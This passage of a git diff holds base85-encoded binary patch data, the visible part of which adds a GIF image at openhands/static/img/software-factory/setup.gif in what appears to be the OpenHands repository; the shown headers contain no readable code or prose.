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 JWmlYI{tLT4+dTjP literal 0 HcmV?d00001 diff --git a/openhands/static/img/software-factory/setup.gif b/openhands/static/img/software-factory/setup.gif new file mode 100644 index 0000000000000000000000000000000000000000..3d7111efb6256306e02a1189bdcf43e1ce58543f GIT binary patch literal 3118709 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 